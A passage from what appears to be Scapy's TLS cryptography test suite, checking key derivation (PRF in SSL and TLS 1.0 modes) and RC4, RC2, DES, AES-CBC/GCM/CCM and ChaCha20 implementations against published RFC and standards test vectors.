b'\\xe8\\xb5O68e\\x8c\\x1e\\xd0hD!\\xc1Zk\\x9e\\xc7x3\\xfc\".\\xf9\\x17\\xd5B\\xfc\\xef\\x8d\\xed\\x9fP\\xcer\\x83|6\\x02\\xe0\\x86\\xda\\xab-G\\x8c\\xa9H5'\nt2 = f.compute_master_secret(b\"A\"*48, b\"C\"*32, b\"B\"*32) == b'Ts/q\\x83\\x88\\x10\\x9c1Y\\xff\\xf3vo\\xe3\\x8aM\\x9b\\xa3k[J\\xeeWXs\\xcfTe\\x19\\xc6\\xb1\\x0ebj1}\\x0c\\xca\\x97=|\\x88W\\xd8q\\xfb|'\nt3 = f.compute_master_secret(b\"C\"*48, b\"A\"*32, b\"B\"*32) == b'Q\\xde\\x06L\\xdb\\xe9\\x9dC\\x19\\x8a:m@\\xce\\xbf\\xc0\\n\\xd8\\xd4H!#\\x06\\xad\\x929\\x85\\xc9@\\x1f\\xb5\\xe2)^{c\\x94\\x06&\\xad\\xb56\\x13^\\xd6\\xa5\\x19\\xe7'\nt4 = f.compute_master_secret(b\"D\"*48, b\"B\"*32, b\"A\"*32) == b'\\xbe\\x9a\\xc8)\\xb5{.H1\\x8382\\xc2\\xdff\\xdf@\\xda\\xde\\x88\\xe1\\xf3\\xad9\\xcc\\x14\\xb1\\x7f\\x90\\x00;B)\\x8c\\xdb\\xdbH\\xfe=%^\\xe9\\x83\\x0eV\\x86\\x83\\x8d'\nt1 and t2 and t3 and t4\n\n\n= Crypto - derive_key_block() in SSL mode\nt1 = f.derive_key_block(b\"A\"*48, b\"B\"*32, b\"C\"*32, 72) == b'\\xe8\\xb5O68e\\x8c\\x1e\\xd0hD!\\xc1Zk\\x9e\\xc7x3\\xfc\".\\xf9\\x17\\xd5B\\xfc\\xef\\x8d\\xed\\x9fP\\xcer\\x83|6\\x02\\xe0\\x86\\xda\\xab-G\\x8c\\xa9H5\\xdf\\x14\\xa9\\xcfV\\r\\xea}\\x98\\x04\\x8dK,\\xb6\\xf7;\\xaa\\xa8\\xa5\\xad\\x7f\\x0fCY'\nt2 = f.derive_key_block(b\"A\"*48, b\"C\"*32, b\"B\"*32, 72) == b'Ts/q\\x83\\x88\\x10\\x9c1Y\\xff\\xf3vo\\xe3\\x8aM\\x9b\\xa3k[J\\xeeWXs\\xcfTe\\x19\\xc6\\xb1\\x0ebj1}\\x0c\\xca\\x97=|\\x88W\\xd8q\\xfb|\\x17\\x99\\nH;\\xec\\xd2\\x15\\xabd\\xed\\xc3\\xe0p\\xd8\\x1eS\\xb5\\xf4*8\\xceE^'\nt3 = f.derive_key_block(b\"C\"*48, b\"A\"*32, b\"B\"*32, 72) == b'Q\\xde\\x06L\\xdb\\xe9\\x9dC\\x19\\x8a:m@\\xce\\xbf\\xc0\\n\\xd8\\xd4H!#\\x06\\xad\\x929\\x85\\xc9@\\x1f\\xb5\\xe2)^{c\\x94\\x06&\\xad\\xb56\\x13^\\xd6\\xa5\\x19\\xe7\\xed\\xd6\\x92\\xe0O\\x0e\\xbf\\xc6\\x97\\x9f~\\x95\\xcf\\xb0\\xe7a\\x1d\\xbc]\\xf4&Z\\x81J'\nt4 = f.derive_key_block(b\"D\"*48, b\"B\"*32, b\"A\"*32, 72) == b'\\xbe\\x9a\\xc8)\\xb5{.H1\\x8382\\xc2\\xdff\\xdf@\\xda\\xde\\x88\\xe1\\xf3\\xad9\\xcc\\x14\\xb1\\x7f\\x90\\x00;B)\\x8c\\xdb\\xdbH\\xfe=%^\\xe9\\x83\\x0eV\\x86\\x83\\x8d\\xeal\\x8ea\\x08\\x9d\\xb3\\xf3\\xf4\\xa6[\\'j\\xda\\rT\"\\x10\\xa5Z\\n\\xc0r\\xf3'\nt1 and t2 and t3 and t4\n\n\n= Crypto - compute_master_secret() in TLS 1.0 mode\nfrom scapy.layers.tls.crypto.prf import PRF\nf = PRF(tls_version=0x301)\nt1 = f.compute_master_secret(b\"A\"*48, b\"B\"*32, b\"C\"*32) == b\"k\\\\[e\\x11\\xab\\xfe6\\trN\\x9e\\x8d\\xb09{\\x17\\x8d\\x9f\\xc6_' G\\x05\\x08}\\xf7Q\\x8e\\xcb\\xff\\x00\\xfc7\\xd0\\xf0z\\xea\\x8b\\x98%\\x90\\x89sd\\x98\\xa1\"\nt2 = f.compute_master_secret(b\"A\"*48, b\"C\"*32, b\"B\"*32) == b'k\\xd2\\xf7\\x1aqt\\xa4~\\x9bqf\\x0f:\\xc4%\\x9a\\x07\\x17\\x14\\xf4\\xdf&)*\\x1c\\x9c8\\x8em\\xe1\\x13\\x17\\xa7\\xd2\\x051Q<M~\\xc2a\\x85\\x82\\xe6\\xd7.['\nt3 = f.compute_master_secret(b\"C\"*48, b\"A\"*32, b\"B\"*32) == b'\\xe57\\xae.,B\\xeb(/?\\xf4tR#\\xd0\\xa9\"\\xf7-\\x9d\\x0e\\xd7\\xd9\\x1c\\x1f\\x9b\\x95\\xe6\\xd0\\x0e(\\x06W7s(^\"x\\xbb\\xdb\\xb6\\xae\\xf75J\\x0f\\xbf'\nt4 = f.compute_master_secret(b\"D\"*48, b\"B\"*32, b\"A\"*32) == b'\\xeb3\\xf5Ty\\x08xqP\\x01p\\x12\\x95\\xd4\\xf5y{\\xe7\\xea5\\nS\\xb1T\\xea\\xe3d\\x8b\\xd7\\xb89\\xcf\\xb9\\xe0l\\x95d\\xbd-\\x97\\xea\\xf20n\\x96t\\xfe\\xff'\nt1 and t2 and t3 and t4\n\n\n= Crypto - derive_key_block() in TLS 1.0 mode\nt1 = f.derive_key_block(b\"A\"*48, b\"B\"*32, b\"C\"*32, 72) == b'\\x06\\xccA\\xd5\\xf3\\x9dT`ZC!/\\xa0\\xbe\\x95\\x86m\\xdb@\\x18\\xfb\\x95\\xad\\xcd\\xac<(K\\x88\\xacB\\x92s\\x8d7AVG\\xf04\\x0be\\x8dv\\x02\\xd6\\x03\\x7f\\xe4\\x8eYe\\x88\\xb7YI\\xc2\\xf0!\\x1dSx\\x86\\xdeY\\x81\\x89\\x11\\xa6\\xd9\\xd1\\xed'\nt2 = f.derive_key_block(b\"A\"*48, b\"C\"*32, b\"B\"*32, 72) == b\"\\\\@d\\x1d9V\\xae\\xe2'\\xf6Q\\xc9\\xd7\\x8beu\\xe8u\\xd9\\xe8\\r\\x18a\\x8c|\\xde\\x95H\\xec\\xc5}I\\xf9s(e\\xe4\\x87*s\\x98=\\x96wsj\\xfe\\x0euo\\x1f\\\\1hh-\\x0f\\xda9\\x9etk\\x0fW\\x03\\xe2k\\xb0\\x87Pb3\"\nt3 = f.derive_key_block(b\"C\"*48, b\"A\"*32, b\"B\"*32, 72) == b'\\x9c\\xaate\\x07\\x12K\\xb2\\xc3zT1\\xf4\\x1fN\\xa8\\x03\\xbd\\xcfF_\\x0c\\x0bF\\x14\\x8f\\xcf\\x08c\\xa6\\x80\\x1d\\xd8Wh.E\\xf5\\x9a\\xfd\\x1d\\x8a6\\xf7\\x950\\xf4\\xbcm\\x89\\xa6!\\x7fc\\x19D\\xb4\\xcc\\x8f\\xf7x\\x12\\xe0q\\x17\\x84-\\xcc[\\x7f@p'\nt4 = f.derive_key_block(b\"D\"*48, b\"B\"*32, b\"A\"*32, 72) == b't{P+k\\xe1\\xe5O\\xbe]L?$\\x8d7O.\\xe6\\xd6\\xa8\\x19U\\x87\\x04%\\x13m+_\\xb9\\x99\\x03\\xe1\\xfd1]*7\\x8d\\xa0Xx\\xa1\\xd1\\xfe\\x0c\\xb1\\xb1\\xa8\\xdd\\x0c\\xb20@v\\xb6\\xdc\\x86d\\n\\x8a-\\x95\\xaeL\\x97\\xfaFjl\\xfb^'\nt1 and t2 and t3 and t4\n\n\n###############################################################################\n### Ciphers                                                                 ###\n###############################################################################\n\n+ Test RC4\n= Crypto - RC4 stream cipher, encryption/decryption checks from RFC 6229\n\nclass _rc4_40_test:\n    k= b\"\\x01\\x02\\x03\\x04\\x05\"\n    s=(b\"\\xb2\\x39\\x63\\x05\\xf0\\x3d\\xc0\\x27\\xcc\\xc3\\x52\\x4a\\x0a\\x11\\x18\\xa8\" +\n       b\"\\x69\\x82\\x94\\x4f\\x18\\xfc\\x82\\xd5\\x89\\xc4\\x03\\xa4\\x7a\\x0d\\x09\\x19\")\n    s_1024= b\"\\x30\\xab\\xbc\\xc7\\xc2\\x0b\\x01\\x60\\x9f\\x23\\xee\\x2d\\x5f\\x6b\\xb7\\xdf\"\n\nclass _rc4_128_test:\n    k= b\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\"\n    s=(b\"\\x9a\\xc7\\xcc\\x9a\\x60\\x9d\\x1e\\xf7\\xb2\\x93\\x28\\x99\\xcd\\xe4\\x1b\\x97\"\n       b\"\\x52\\x48\\xc4\\x95\\x90\\x14\\x12\\x6a\\x6e\\x8a\\x84\\xf1\\x1d\\x1a\\x9e\\x1c\")\n    s_1024=b\"\\xbd\\xf0\\x32\\x4e\\x60\\x83\\xdc\\xc6\\xd3\\xce\\xdd\\x3c\\xa8\\xc5\\x3c\\x16\"\n\ndef _all_rc4_tests():\n    from scapy.layers.tls.crypto.cipher_stream import (Cipher_RC4_40,\n                                                       Cipher_RC4_128)\n    res = True\n    t = _rc4_40_test\n    c = Cipher_RC4_40(t.k).encrypt(b\"\\x00\"*(1024+16))\n    res = res and (c[:32] == t.s) and (c[-16:] == t.s_1024)\n    res = res and Cipher_RC4_40(t.k).decrypt(t.s) == b\"\\x00\"*32\n    t = _rc4_128_test\n    c = Cipher_RC4_128(t.k).encrypt(b\"\\x00\"*(1024+16))\n    res = res and (c[:32] == t.s) and (c[-16:] == t.s_1024)\n    res = res and Cipher_RC4_128(t.k).decrypt(t.s) == b\"\\x00\"*32\n    return res\n\n_all_rc4_tests()\n\n\n= Crypto - RC2 block cipher, encryption/decryption checks from RFC 2268\n\nimport binascii\nclass _rc2_128_cbc_test:\n    k= binascii.unhexlify(\"88bca90e90875a7f0f79c384627bafb2\")\n    p= binascii.unhexlify(\"0000000000000000\")\n    c= binascii.unhexlify(\"2269552ab0f85ca6\")\n    iv=binascii.unhexlify(\"0000000000000000\")\n\ndef _all_rc2_tests():\n    try:\n        from scapy.layers.tls.crypto.cipher_block import Cipher_RC2_CBC\n        res = True\n        t = _rc2_128_cbc_test\n        tmp = (Cipher_RC2_CBC(t.k, t.iv).encrypt(t.p) == t.c and\n               Cipher_RC2_CBC(t.k, t.iv).decrypt(t.c) == t.p)\n        res = res and tmp\n        return res\n    except ImportError:\n        return True\n\n_all_rc2_tests()\n\n\n= Crypto - DES cipher in CBC mode, check from FIPS PUB 81\n\nclass _descbc_test:\n    k= binascii.unhexlify(\"0123456789abcdef\")\n    p= binascii.unhexlify(\"4e6f77206973207468652074696d6520666f7220616c6c20\")\n    c= binascii.unhexlify(\"e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6\")\n    iv=binascii.unhexlify(\"1234567890abcdef\")\n\ndef _all_aes_cbc_tests():\n    from scapy.layers.tls.crypto.cipher_block import Cipher_DES_CBC\n    res = True\n    t = _descbc_test\n    tmp = (Cipher_DES_CBC(t.k, t.iv).encrypt(t.p) == t.c and\n           Cipher_DES_CBC(t.k, t.iv).decrypt(t.c) == t.p)\n    res = res and tmp\n    return res\n\n_all_aes_cbc_tests()\n\n\n= Crypto - AES cipher in CBC mode, checks from RFC 3602\n\nclass _aes128cbc_test_1:\n    k= b\"\\x06\\xa9\\x21\\x40\\x36\\xb8\\xa1\\x5b\\x51\\x2e\\x03\\xd5\\x34\\x12\\x00\\x06\"\n    p= b\"Single block msg\"\n    c= b\"\\xe3\\x53\\x77\\x9c\\x10\\x79\\xae\\xb8\\x27\\x08\\x94\\x2d\\xbe\\x77\\x18\\x1a\"\n    iv=b\"\\x3d\\xaf\\xba\\x42\\x9d\\x9e\\xb4\\x30\\xb4\\x22\\xda\\x80\\x2c\\x9f\\xac\\x41\"\n\nclass _aes128cbc_test_2:\n    k= b\"\\x56\\xe4\\x7a\\x38\\xc5\\x59\\x89\\x74\\xbc\\x46\\x90\\x3d\\xba\\x29\\x03\\x49\"\n    p=(b\"\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\" +\n       b\"\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\" +\n       b\"\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\" +\n       b\"\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\")\n    c=(b\"\\xc3\\x0e\\x32\\xff\\xed\\xc0\\x77\\x4e\\x6a\\xff\\x6a\\xf0\\x86\\x9f\\x71\\xaa\" +\n       b\"\\x0f\\x3a\\xf0\\x7a\\x9a\\x31\\xa9\\xc6\\x84\\xdb\\x20\\x7e\\xb0\\xef\\x8e\\x4e\" +\n       b\"\\x35\\x90\\x7a\\xa6\\x32\\xc3\\xff\\xdf\\x86\\x8b\\xb7\\xb2\\x9d\\x3d\\x46\\xad\" +\n       b\"\\x83\\xce\\x9f\\x9a\\x10\\x2e\\xe9\\x9d\\x49\\xa5\\x3e\\x87\\xf4\\xc3\\xda\\x55\")\n    iv=b\"\\x8c\\xe8\\x2e\\xef\\xbe\\xa0\\xda\\x3c\\x44\\x69\\x9e\\xd7\\xdb\\x51\\xb7\\xd9\"\n\nclass _aes256cbc_test_1:\n    k=(b\"\\x60\\x3d\\xeb\\x10\\x15\\xca\\x71\\xbe\\x2b\\x73\\xae\\xf0\\x85\\x7d\\x77\\x81\" +\n       b\"\\x1f\\x35\\x2c\\x07\\x3b\\x61\\x08\\xd7\\x2d\\x98\\x10\\xa3\\x09\\x14\\xdf\\xf4\")\n    p= b\"\\x6b\\xc1\\xbe\\xe2\\x2e\\x40\\x9f\\x96\\xe9\\x3d\\x7e\\x11\\x73\\x93\\x17\\x2a\"\n    c= b\"\\xf5\\x8c\\x4c\\x04\\xd6\\xe5\\xf1\\xba\\x77\\x9e\\xab\\xfb\\x5f\\x7b\\xfb\\xd6\"\n    iv=b\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\x0C\\x0D\\x0E\\x0F\"\n\nclass _aes256cbc_test_2:\n    k=(b\"\\x60\\x3d\\xeb\\x10\\x15\\xca\\x71\\xbe\\x2b\\x73\\xae\\xf0\\x85\\x7d\\x77\\x81\" +\n       b\"\\x1f\\x35\\x2c\\x07\\x3b\\x61\\x08\\xd7\\x2d\\x98\\x10\\xa3\\x09\\x14\\xdf\\xf4\")\n    p= b\"\\xf6\\x9f\\x24\\x45\\xdf\\x4f\\x9b\\x17\\xad\\x2b\\x41\\x7b\\xe6\\x6c\\x37\\x10\"\n    c= b\"\\xb2\\xeb\\x05\\xe2\\xc3\\x9b\\xe9\\xfc\\xda\\x6c\\x19\\x07\\x8c\\x6a\\x9d\\x1b\"\n    iv=b\"\\x39\\xF2\\x33\\x69\\xA9\\xD9\\xBA\\xCF\\xA5\\x30\\xE2\\x63\\x04\\x23\\x14\\x61\"\n\ndef _all_aes_cbc_tests():\n    from scapy.layers.tls.crypto.cipher_block import (Cipher_AES_128_CBC,\n                                                      Cipher_AES_256_CBC)\n    res = True\n    for t in [_aes128cbc_test_1, _aes128cbc_test_2]:\n        tmp = (Cipher_AES_128_CBC(t.k, t.iv).encrypt(t.p) == t.c and\n               Cipher_AES_128_CBC(t.k, t.iv).decrypt(t.c) == t.p)\n        res = res and tmp\n    for t in [_aes256cbc_test_1, _aes256cbc_test_2]:\n        tmp = (Cipher_AES_256_CBC(t.k, t.iv).encrypt(t.p) == t.c and\n               Cipher_AES_256_CBC(t.k, t.iv).decrypt(t.c) == t.p)\n        res = res and tmp\n    return res\n\n_all_aes_cbc_tests()\n\nfrom scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip, pkcs_i2osp\n\n= Crypto - AES cipher in GCM mode, auth_encrypt() and auth_decrypt() checks\n#https://tools.ietf.org/html/draft-mcgrew-gcm-test-01\n\nclass _aes128gcm_test_1:\n    k= b\"\\x4c\\x80\\xcd\\xef\\xbb\\x5d\\x10\\xda\\x90\\x6a\\xc7\\x3c\\x36\\x13\\xa6\\x34\"\n    n= b\"\\x22\\x43\\x3c\\x64\\x48\\x55\\xec\\x7d\\x3a\\x23\\x4b\\xfd\"\n    p=(b\"\\x08\\x00\\xc6\\xcd\\x02\\x00\\x07\\x00\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\" +\n       b\"\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x01\\x02\\x02\\x01\")\n    a= b\"\\x00\\x00\\x43\\x21\\x87\\x65\\x43\\x21\\x00\\x00\\x00\\x07\"\n    ct=(b\"\\x74\\x75\\x2e\\x8a\\xeb\\x5d\\x87\\x3c\\xd7\\xc0\\xf4\\xac\\xc3\\x6c\\x4b\\xff\" +\n       b\"\\x84\\xb7\\xd7\\xb9\\x8f\\x0c\\xa8\\xb6\\xac\\xda\\x68\\x94\\xbc\\x61\\x90\\x69\" +\n       b\"\\xef\\x9c\\xbc\\x28\\xfe\\x1b\\x56\\xa7\\xc4\\xe0\\xd5\\x8c\\x86\\xcd\\x2b\\xc0\")\n\nclass _aes128gcm_test_2:\n    k= b\"\\x3d\\xe0\\x98\\x74\\xb3\\x88\\xe6\\x49\\x19\\x88\\xd0\\xc3\\x60\\x7e\\xae\\x1f\"\n    n= b\"\\x57\\x69\\x0e\\x43\\x4e\\x28\\x00\\x00\\xa2\\xfc\\xa1\\xa3\"\n    p=(b\"\\x45\\x00\\x00\\x30\\xda\\x3a\\x00\\x00\\x80\\x01\\xdf\\x3b\\xc0\\xa8\\x00\\x05\" +\n       b\"\\xc0\\xa8\\x00\\x01\\x08\\x00\\xc6\\xcd\\x02\\x00\\x07\\x00\\x61\\x62\\x63\\x64\" +\n       b\"\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\" +\n       b\"\\x01\\x02\\x02\\x01\")\n    a= b\"\\x3f\\x7e\\xf6\\x42\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\"\n    ct=(b\"\\xfb\\xa2\\xca\\xa8\\xc6\\xc5\\xf9\\xf0\\xf2\\x2c\\xa5\\x4a\\x06\\x12\\x10\\xad\" +\n       b\"\\x3f\\x6e\\x57\\x91\\xcf\\x1a\\xca\\x21\\x0d\\x11\\x7c\\xec\\x9c\\x35\\x79\\x17\" +\n       b\"\\x65\\xac\\xbd\\x87\\x01\\xad\\x79\\x84\\x5b\\xf9\\xfe\\x3f\\xba\\x48\\x7b\\xc9\" +\n       b\"\\x63\\x21\\x93\\x06\\x84\\xee\\xca\\xdb\\x56\\x91\\x25\\x46\\xe7\\xa9\\x5c\\x97\" +\n       b\"\\x40\\xd7\\xcb\\x05\")\n\nclass _aes256gcm_test_1:\n    k=(b\"\\x6c\\x65\\x67\\x61\\x6c\\x69\\x7a\\x65\\x6d\\x61\\x72\\x69\\x6a\\x75\\x61\\x6e\" +\n       b\"\\x61\\x61\\x6e\\x64\\x64\\x6f\\x69\\x74\\x62\\x65\\x66\\x6f\\x72\\x65\\x69\\x61\")\n    n= b\"\\x74\\x75\\x72\\x6e\\x33\\x30\\x21\\x69\\x67\\x65\\x74\\x6d\"\n    p=(b\"\\x45\\x00\\x00\\x30\\xda\\x3a\\x00\\x00\\x80\\x01\\xdf\\x3b\\xc0\\xa8\\x00\\x05\" +\n       b\"\\xc0\\xa8\\x00\\x01\\x08\\x00\\xc6\\xcd\\x02\\x00\\x07\\x00\\x61\\x62\\x63\\x64\" +\n       b\"\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\" +\n       b\"\\x01\\x02\\x02\\x01\")\n    a= b\"\\x79\\x6b\\x69\\x63\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\"\n    ct=(b\"\\xf9\\x7a\\xb2\\xaa\\x35\\x6d\\x8e\\xdc\\xe1\\x76\\x44\\xac\\x8c\\x78\\xe2\\x5d\" +\n       b\"\\xd2\\x4d\\xed\\xbb\\x29\\xeb\\xf1\\xb6\\x4a\\x27\\x4b\\x39\\xb4\\x9c\\x3a\\x86\" +\n       b\"\\x4c\\xd3\\xd7\\x8c\\xa4\\xae\\x68\\xa3\\x2b\\x42\\x45\\x8f\\xb5\\x7d\\xbe\\x82\" +\n       b\"\\x1d\\xcc\\x63\\xb9\\xd0\\x93\\x7b\\xa2\\x94\\x5f\\x66\\x93\\x68\\x66\\x1a\\x32\" +\n       b\"\\x9f\\xb4\\xc0\\x53\")\n\nclass _aes256gcm_test_2:\n    # this funny plaintext is not our deed\n    k=(b\"\\xab\\xbc\\xcd\\xde\\xf0\\x01\\x12\\x23\\x34\\x45\\x56\\x67\\x78\\x89\\x9a\\xab\" +\n       b\"\\xab\\xbc\\xcd\\xde\\xf0\\x01\\x12\\x23\\x34\\x45\\x56\\x67\\x78\\x89\\x9a\\xab\")\n    n= b\"\\x73\\x61\\x6c\\x74\\x61\\x6e\\x64\\x01\\x69\\x76\\x65\\x63\"\n    p=(b\"\\x63\\x69\\x73\\x63\\x6f\\x01\\x72\\x75\\x6c\\x65\\x73\\x01\\x74\\x68\\x65\\x01\" +\n       b\"\\x6e\\x65\\x74\\x77\\x65\\x01\\x64\\x65\\x66\\x69\\x6e\\x65\\x01\\x74\\x68\\x65\" +\n       b\"\\x74\\x65\\x63\\x68\\x6e\\x6f\\x6c\\x6f\\x67\\x69\\x65\\x73\\x01\\x74\\x68\\x61\" +\n       b\"\\x74\\x77\\x69\\x6c\\x6c\\x01\\x64\\x65\\x66\\x69\\x6e\\x65\\x74\\x6f\\x6d\\x6f\" +\n       b\"\\x72\\x72\\x6f\\x77\\x01\\x02\\x02\\x01\")\n    a= b\"\\x17\\x40\\x5e\\x67\\x15\\x6f\\x31\\x26\\xdd\\x0d\\xb9\\x9b\"\n    ct=(b\"\\xd4\\xb7\\xed\\x86\\xa1\\x77\\x7f\\x2e\\xa1\\x3d\\x69\\x73\\xd3\\x24\\xc6\\x9e\" +\n       b\"\\x7b\\x43\\xf8\\x26\\xfb\\x56\\x83\\x12\\x26\\x50\\x8b\\xeb\\xd2\\xdc\\xeb\\x18\" +\n       b\"\\xd0\\xa6\\xdf\\x10\\xe5\\x48\\x7d\\xf0\\x74\\x11\\x3e\\x14\\xc6\\x41\\x02\\x4e\" +\n       b\"\\x3e\\x67\\x73\\xd9\\x1a\\x62\\xee\\x42\\x9b\\x04\\x3a\\x10\\xe3\\xef\\xe6\\xb0\" +\n       b\"\\x12\\xa4\\x93\\x63\\x41\\x23\\x64\\xf8\\xc0\\xca\\xc5\\x87\\xf2\\x49\\xe5\\x6b\" +\n       b\"\\x11\\xe2\\x4f\\x30\\xe4\\x4c\\xcc\\x76\")\n\ndef _all_aes_gcm_tests():\n    from scapy.layers.tls.crypto.cipher_aead import (Cipher_AES_128_GCM,\n                                                     Cipher_AES_256_GCM)\n    res = True\n    ciphers = []\n    for t in [_aes128gcm_test_1, _aes128gcm_test_2]:\n        c = Cipher_AES_128_GCM(key=t.k, fixed_iv=t.n[:4],\n                               nonce_explicit=pkcs_os2ip(t.n[4:]))\n        ne = t.n[-c.nonce_explicit_len:]\n        tup = ne, t.p, t.ct[-c.tag_len:]\n        tmp1 = c.auth_decrypt(t.a, ne + t.ct, add_length=False) == tup\n        tmp2 = c.auth_encrypt(t.p, t.a) == (ne + t.ct)\n        res = res and tmp1 and tmp2\n    for t in [_aes256gcm_test_1, _aes256gcm_test_2]:\n        c = Cipher_AES_256_GCM(key=t.k, fixed_iv=t.n[:4],\n                               nonce_explicit=pkcs_os2ip(t.n[4:]))\n        ne = t.n[-c.nonce_explicit_len:]\n        tup = ne, t.p, t.ct[-c.tag_len:]\n        tmp1 = c.auth_decrypt(t.a, ne + t.ct, add_length=False) == tup\n        tmp2 = c.auth_encrypt(t.p, t.a) == (ne + t.ct)\n        res = res and tmp1 and tmp2\n    return res\n\n_all_aes_gcm_tests()\n\n\n= Crypto - AES cipher in CCM mode, checks from IEEE P1619.1\n~ crypto_advanced libressl\n\nclass _aes256ccm_test_1:\n    k= b\"\\0\"*32\n    n= b\"\\0\"*12\n    p= b\"\\0\"*16\n    a= b\"\"\n    ct=(b\"\\xc1\\x94\\x40\\x44\\xc8\\xe7\\xaa\\x95\\xd2\\xde\\x95\\x13\\xc7\\xf3\\xdd\\x8c\" +\n       b\"\\x4b\\x0a\\x3e\\x5e\\x51\\xf1\\x51\\xeb\\x0f\\xfa\\xe7\\xc4\\x3d\\x01\\x0f\\xdb\")\n\nclass _aes256ccm_test_2:\n    k=(b\"\\xfb\\x76\\x15\\xb2\\x3d\\x80\\x89\\x1d\\xd4\\x70\\x98\\x0b\\xc7\\x95\\x84\\xc8\" +\n       b\"\\xb2\\xfb\\x64\\xce\\x60\\x97\\x87\\x8d\\x17\\xfc\\xe4\\x5a\\x49\\xe8\\x30\\xb7\")\n    n= b\"\\xdb\\xd1\\xa3\\x63\\x60\\x24\\xb7\\xb4\\x02\\xda\\x7d\\x6f\"\n    p= b\"\\xa9\"\n    a= b\"\\x36\"\n    ct=b\"\\x9d\\x32\\x61\\xb1\\xcf\\x93\\x14\\x31\\xe9\\x9a\\x32\\x80\\x67\\x38\\xec\\xbd\\x2a\"\n\nclass _aes256ccm_test_3:\n    k=(b\"\\xfb\\x76\\x15\\xb2\\x3d\\x80\\x89\\x1d\\xd4\\x70\\x98\\x0b\\xc7\\x95\\x84\\xc8\" +\n       b\"\\xb2\\xfb\\x64\\xce\\x60\\x97\\x8f\\x4d\\x17\\xfc\\xe4\\x5a\\x49\\xe8\\x30\\xb7\")\n    n= b\"\\xdb\\xd1\\xa3\\x63\\x60\\x24\\xb7\\xb4\\x02\\xda\\x7d\\x6f\"\n    p= b\"\\xa8\\x45\\x34\\x8e\\xc8\\xc5\\xb5\\xf1\\x26\\xf5\\x0e\\x76\\xfe\\xfd\\x1b\\x1e\"\n    a= b\"\"\n    ct=(b\"\\xcc\\x88\\x12\\x61\\xc6\\xa7\\xfa\\x72\\xb9\\x6a\\x17\\x39\\x17\\x6b\\x27\\x7f\" +\n       b\"\\x34\\x72\\xe1\\x14\\x5f\\x2c\\x0c\\xbe\\x14\\x63\\x49\\x06\\x2c\\xf0\\xe4\\x23\")\n\nclass _aes256ccm_test_4:\n    k=(b\"\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\" +\n       b\"\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\")\n    n= b\"\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\"\n    p=(b\"\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\" +\n       b\"\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\")\n    a=(b\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\" +\n       b\"\\x10\\x11\\x12\\x13\")\n    ct=(b\"\\x04\\xf8\\x83\\xae\\xb3\\xbd\\x07\\x30\\xea\\xf5\\x0b\\xb6\\xde\\x4f\\xa2\\x21\" +\n       b\"\\x20\\x34\\xe4\\xe4\\x1b\\x0e\\x75\\xe5\\x9b\\xba\\x3f\\x3a\\x10\\x7f\\x32\\x39\" +\n       b\"\\xbd\\x63\\x90\\x29\\x23\\xf8\\x03\\x71\")\n\ndef _all_aes_ccm_tests():\n    from scapy.layers.tls.crypto.cipher_aead import Cipher_AES_256_CCM\n    res = True\n    ciphers = []\n    for t in [_aes256ccm_test_1, _aes256ccm_test_2,\n              _aes256ccm_test_3, _aes256ccm_test_4]:\n        c = Cipher_AES_256_CCM(key=t.k, fixed_iv=t.n[:4],\n                               nonce_explicit=pkcs_os2ip(t.n[4:]))\n        ne = t.n[-c.nonce_explicit_len:]\n        tup = ne, t.p, t.ct[-c.tag_len:]\n        tmp1 = c.auth_decrypt(t.a, ne + t.ct, add_length=False) == tup\n        tmp2 = c.auth_encrypt(t.p, t.a) == (ne + t.ct)\n        res = res and tmp1 and tmp2\n    return res\n\n_all_aes_ccm_tests()\n\n\n= Crypto - ChaCha20POly1305 test (test vector A.5 from RFC 7539)\n~ crypto_advanced libressl\n\nimport binascii\ndef clean(s):\n    return binascii.unhexlify(''.join(c for c in s if c.isalnum()))\n\nclass _chacha20poly1305_test_1:\n    k= clean(\"\"\"\n        1c 92 40 a5 eb 55 d3 8a f3 33 88 86 04 f6 b5 f0\n        47 39 17 c1 40 2b 80 09 9d ca 5c bc 20 70 75 c0\n        \"\"\")\n    n= clean(\"\"\"\n        00 00 00 00 01 02 03 04 05 06 07 08\n        \"\"\")\n    p= clean(\"\"\"\n        49 6e 74 65 72 6e 65 74 2d 44 72 61 66 74 73 20\n        61 72 65 20 64 72 61 66 74 20 64 6f 63 75 6d 65\n        6e 74 73 20 76 61 6c 69 64 20 66 6f 72 20 61 20\n        6d 61 78 69 6d 75 6d 20 6f 66 20 73 69 78 20 6d\n        6f 